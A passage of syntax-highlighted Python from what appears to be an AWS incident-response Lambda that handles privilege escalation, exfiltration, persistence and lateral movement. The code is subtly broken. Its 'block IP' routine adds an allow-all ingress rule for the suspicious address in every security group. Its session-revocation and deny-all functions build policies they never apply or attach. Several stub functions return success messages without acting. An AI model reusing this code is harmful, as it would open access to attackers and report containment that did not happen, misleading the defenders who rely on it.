                <span class="n">response_actions</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">handle_persistence_threat</span><span class="p">(</span><span class="n">event_record</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">threat_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">lateral_movement</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">response_actions</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">handle_lateral_movement</span><span class="p">(</span><span class="n">event_record</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">response_actions</span><span class="sh">'</span><span class="p">:</span> <span class="n">response_actions</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Automated response completed for </span><span class="si">{</span><span class="n">threat_type</span><span class="si">}</span><span class="sh">'</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Error in automated response: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">500</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
            <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">handle_privilege_escalation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Handle privilege escalation threats</span><span class="sh">"""</span>
        <span class="n">actions</span> <span class="o">=</span> <span class="p">[]</span>
        <span class="n">user_identity</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
        <span class="n">principal_id</span> <span class="o">=</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">principalId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        
        <span class="c1"># Disable compromised user/role
</span>        <span class="k">if</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">IAMUser</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">username</span> <span class="o">=</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userName</span><span class="sh">'</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">username</span><span class="p">:</span>
                <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">disable_iam_user</span><span class="p">(</span><span class="n">username</span><span class="p">))</span>
        
        <span class="c1"># Revoke active sessions
</span>        <span class="k">if</span> <span class="sh">'</span><span class="s">Role</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">principal_id</span><span class="p">:</span>
            <span class="n">role_name</span> <span class="o">=</span> <span class="n">principal_id</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="s">/</span><span class="sh">'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
            <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">revoke_role_sessions</span><span class="p">(</span><span class="n">role_name</span><span class="p">))</span>
        
        <span class="c1"># Create temporary policy to deny all actions
</span>        <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">create_deny_all_policy</span><span class="p">(</span><span class="n">principal_id</span><span class="p">))</span>
        
        <span class="k">return</span> <span class="n">actions</span>
    
    <span class="k">def</span> <span class="nf">handle_data_exfiltration</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Handle data exfiltration threats</span><span class="sh">"""</span>
        <span class="n">actions</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Block source IP in security groups
</span>        <span class="n">source_ip</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">source_ip</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">source_ip</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">block_ip_in_security_groups</span><span class="p">(</span><span class="n">source_ip</span><span class="p">))</span>
        
        <span class="c1"># Enable S3 bucket logging if not already enabled
</span>        <span class="k">if</span> <span class="sh">'</span><span class="s">S3</span><span class="sh">'</span> <span class="ow">in</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventSource</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">):</span>
            <span class="n">bucket_name</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">extract_bucket_name</span><span class="p">(</span><span class="n">event_record</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">bucket_name</span><span class="p">:</span>
                <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">enable_s3_access_logging</span><span class="p">(</span><span class="n">bucket_name</span><span class="p">))</span>
        
        <span class="c1"># Quarantine affected resources
</span>        <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">quarantine_affected_resources</span><span class="p">(</span><span class="n">event_record</span><span class="p">))</span>
        
        <span class="k">return</span> <span class="n">actions</span>
    
    <span class="k">def</span> <span class="nf">handle_persistence_threat</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Handle persistence threats</span><span class="sh">"""</span>
        <span class="n">actions</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Review and remove unauthorized access keys
</span>        <span class="n">user_identity</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
        <span class="k">if</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">IAMUser</span><span class="sh">'</span><span class="p">:</span>
            <span class="n">username</span> <span class="o">=</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userName</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">audit_user_access_keys</span><span class="p">(</span><span class="n">username</span><span class="p">))</span>
        
        <span class="c1"># Check for backdoor accounts
</span>        <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">audit_recent_user_creation</span><span class="p">())</span>
        
        <span class="c1"># Disable any newly created roles with admin permissions
</span>        <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">audit_admin_roles</span><span class="p">())</span>
        
        <span class="k">return</span> <span class="n">actions</span>
    
    <span class="k">def</span> <span class="nf">handle_lateral_movement</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">]:</span>
        <span class="sh">"""</span><span class="s">Handle lateral movement threats</span><span class="sh">"""</span>
        <span class="n">actions</span> <span class="o">=</span> <span class="p">[]</span>
        
        <span class="c1"># Restrict cross-account role assumptions
</span>        <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">restrict_cross_account_access</span><span class="p">())</span>
        
        <span class="c1"># Enable VPC Flow Logs if not enabled
</span>        <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">enable_vpc_flow_logs</span><span class="p">())</span>
        
        <span class="c1"># Implement temporary network isolation
</span>        <span class="n">source_ip</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">source_ip</span><span class="p">:</span>
            <span class="n">actions</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">implement_network_isolation</span><span class="p">(</span><span class="n">source_ip</span><span class="p">))</span>
        
        <span class="k">return</span> <span class="n">actions</span>
    
    <span class="k">def</span> <span class="nf">disable_iam_user</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">username</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Disable IAM user by attaching deny policy</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create temporary deny-all policy
</span>            <span class="n">deny_policy</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
            <span class="n">policy_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">EmergencyDeny-</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">-</span><span class="si">{</span><span class="nf">int</span><span class="p">(</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="nf">timestamp</span><span class="p">())</span><span class="si">}</span><span class="sh">"</span>
            
            <span class="c1"># Create policy
</span>            <span class="n">self</span><span class="p">.</span><span class="n">iam</span><span class="p">.</span><span class="nf">create_policy</span><span class="p">(</span>
                <span class="n">PolicyName</span><span class="o">=</span><span class="n">policy_name</span><span class="p">,</span>
                <span class="n">PolicyDocument</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">deny_policy</span><span class="p">),</span>
                <span class="n">Description</span><span class="o">=</span><span class="sh">"</span><span class="s">Emergency deny policy for security incident</span><span class="sh">"</span>
            <span class="p">)</span>
            
            <span class="c1"># Attach to user
</span>            <span class="n">self</span><span class="p">.</span><span class="n">iam</span><span class="p">.</span><span class="nf">attach_user_policy</span><span class="p">(</span>
                <span class="n">UserName</span><span class="o">=</span><span class="n">username</span><span class="p">,</span>
                <span class="n">PolicyArn</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">arn:aws:iam::123456789012:policy/</span><span class="si">{</span><span class="n">policy_name</span><span class="si">}</span><span class="sh">"</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Disabled IAM user: </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="sh">"</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Failed to disable user </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">revoke_role_sessions</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">role_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Revoke all active sessions for a role</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Update role with deny policy
</span>            <span class="n">deny_policy</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Principal</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">sts:AssumeRole</span><span class="sh">"</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
            <span class="c1"># Note: This is a simplified example
</span>            <span class="c1"># In practice, you'd need more sophisticated session revocation
</span>            
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Revoked sessions for role: </span><span class="si">{</span><span class="n">role_name</span><span class="si">}</span><span class="sh">"</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Failed to revoke sessions for </span><span class="si">{</span><span class="n">role_name</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">block_ip_in_security_groups</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">source_ip</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Block suspicious IP in all security groups</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Get all security groups
</span>            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">describe_security_groups</span><span class="p">()</span>
            
            <span class="n">blocked_groups</span> <span class="o">=</span> <span class="p">[]</span>
            <span class="k">for</span> <span class="n">sg</span> <span class="ow">in</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">SecurityGroups</span><span class="sh">'</span><span class="p">]:</span>
                <span class="k">try</span><span class="p">:</span>
                    <span class="c1"># Add deny rule for the suspicious IP
</span>                    <span class="n">self</span><span class="p">.</span><span class="n">ec2</span><span class="p">.</span><span class="nf">authorize_security_group_ingress</span><span class="p">(</span>
                        <span class="n">GroupId</span><span class="o">=</span><span class="n">sg</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">],</span>
                        <span class="n">IpPermissions</span><span class="o">=</span><span class="p">[</span>
                            <span class="p">{</span>
                                <span class="sh">'</span><span class="s">IpProtocol</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">-1</span><span class="sh">'</span><span class="p">,</span>
                                <span class="sh">'</span><span class="s">IpRanges</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                                    <span class="p">{</span>
                                        <span class="sh">'</span><span class="s">CidrIp</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">source_ip</span><span class="si">}</span><span class="s">/32</span><span class="sh">"</span><span class="p">,</span>
                                        <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">BLOCKED: Security incident </span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span>
                                    <span class="p">}</span>
                                <span class="p">]</span>
                            <span class="p">}</span>
                        <span class="p">]</span>
                    <span class="p">)</span>
                    <span class="n">blocked_groups</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">sg</span><span class="p">[</span><span class="sh">'</span><span class="s">GroupId</span><span class="sh">'</span><span class="p">])</span>
                <span class="k">except</span><span class="p">:</span>
                    <span class="c1"># Rule might already exist or other error
</span>                    <span class="k">continue</span>
            
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Blocked IP </span><span class="si">{</span><span class="n">source_ip</span><span class="si">}</span><span class="s"> in </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">blocked_groups</span><span class="p">)</span><span class="si">}</span><span class="s"> security groups</span><span class="sh">"</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Failed to block IP </span><span class="si">{</span><span class="n">source_ip</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">enable_s3_access_logging</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">bucket_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Enable S3 access logging for bucket</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Configure S3 access logging
</span>            <span class="n">logging_config</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">LoggingEnabled</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">TargetBucket</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s">-access-logs</span><span class="sh">"</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">TargetPrefix</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">access-logs/</span><span class="sh">'</span>
                <span class="p">}</span>
            <span class="p">}</span>
            
            <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_bucket_logging</span><span class="p">(</span>
                <span class="n">Bucket</span><span class="o">=</span><span class="n">bucket_name</span><span class="p">,</span>
                <span class="n">BucketLoggingStatus</span><span class="o">=</span><span class="n">logging_config</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Enabled access logging for bucket: </span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="sh">"</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Failed to enable logging for </span><span class="si">{</span><span class="n">bucket_name</span><span class="si">}</span><span class="s">: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">create_deny_all_policy</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">principal_id</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create and attach deny-all policy</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">policy_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">EmergencyDeny-</span><span class="si">{</span><span class="n">principal_id</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sh">'</span><span class="si">:</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="o">-</span><span class="sh">'</span><span class="s">).replace(</span><span class="sh">'</span><span class="o">/</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="o">-</span><span class="sh">'</span><span class="s">)</span><span class="si">}</span><span class="sh">"</span>
            
            <span class="n">deny_policy</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">"</span><span class="s">Version</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">2012-10-17</span><span class="sh">"</span><span class="p">,</span>
                <span class="sh">"</span><span class="s">Statement</span><span class="sh">"</span><span class="p">:</span> <span class="p">[</span>
                    <span class="p">{</span>
                        <span class="sh">"</span><span class="s">Effect</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">Deny</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Action</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Resource</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">*</span><span class="sh">"</span><span class="p">,</span>
                        <span class="sh">"</span><span class="s">Condition</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                            <span class="sh">"</span><span class="s">StringEquals</span><span class="sh">"</span><span class="p">:</span> <span class="p">{</span>
                                <span class="sh">"</span><span class="s">aws:PrincipalArn</span><span class="sh">"</span><span class="p">:</span> <span class="n">principal_id</span>
                            <span class="p">}</span>
                        <span class="p">}</span>
                    <span class="p">}</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
            <span class="n">self</span><span class="p">.</span><span class="n">iam</span><span class="p">.</span><span class="nf">create_policy</span><span class="p">(</span>
                <span class="n">PolicyName</span><span class="o">=</span><span class="n">policy_name</span><span class="p">,</span>
                <span class="n">PolicyDocument</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">deny_policy</span><span class="p">),</span>
                <span class="n">Description</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">Emergency deny policy for </span><span class="si">{</span><span class="n">principal_id</span><span class="si">}</span><span class="sh">"</span>
            <span class="p">)</span>
            
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Created deny policy for: </span><span class="si">{</span><span class="n">principal_id</span><span class="si">}</span><span class="sh">"</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create deny policy: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">extract_bucket_name</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Extract S3 bucket name from CloudTrail event</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">resources</span> <span class="o">=</span> <span class="n">event_record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">resources</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
            <span class="k">for</span> <span class="n">resource</span> <span class="ow">in</span> <span class="n">resources</span><span class="p">:</span>
                <span class="k">if</span> <span class="n">resource</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">)</span> <span class="o">==</span> <span class="sh">'</span><span class="s">AWS::S3::Bucket</span><span class="sh">'</span><span class="p">:</span>
                    <span class="k">return</span> <span class="n">resource</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">resourceName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="k">return</span> <span class="sh">''</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="sh">''</span>
    
    <span class="k">def</span> <span class="nf">quarantine_affected_resources</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Quarantine resources affected by the security incident</span><span class="sh">"""</span>
        <span class="c1"># Implementation for resource quarantine
</span>        <span class="k">return</span> <span class="sh">"</span><span class="s">Resources quarantined successfully</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">audit_user_access_keys</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">username</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Audit and disable suspicious access keys</span><span class="sh">"""</span>
        <span class="c1"># Implementation for access key audit
</span>        <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Audited access keys for user: </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">audit_recent_user_creation</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Audit recently created users for backdoors</span><span class="sh">"""</span>
        <span class="c1"># Implementation for user creation audit
</span>        <span class="k">return</span> <span class="sh">"</span><span class="s">Audited recent user creation</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">audit_admin_roles</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Audit recently created admin roles</span><span class="sh">"""</span>
        <span class="c1"># Implementation for admin role audit
</span>        <span class="k">return</span> <span class="sh">"</span><span class="s">Audited admin roles</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">restrict_cross_account_access</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Restrict cross-account role assumptions</span><span class="sh">"""</span>
        <span class="c1"># Implementation for cross-account restriction
</span>        <span class="k">return</span> <span class="sh">"</span><span class="s">Restricted cross-account access</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">enable_vpc_flow_logs</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Enable VPC Flow Logs for all VPCs</span><span class="sh">"""</span>
        <span class="c1"># Implementation for VPC Flow Logs
</span>        <span class="k">return</span> <span class="sh">"</span><span class="s">Enabled VPC Flow Logs</span><span class="sh">"</span>
    
    <span class="k">def</span> <span class="nf">implement_network_isolation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">source_ip</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement network isolation for suspicious IP</span><span class="sh">"""</span>
        <span class="c1"># Implementation for network isolation
</span>        <span class="k">return</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Implemented network isolation for </span><span class="si">{</span><span class="n">source_ip</span><span class="si">}</span><span class="sh">"</span>

<span class="c1"># Lambda handler
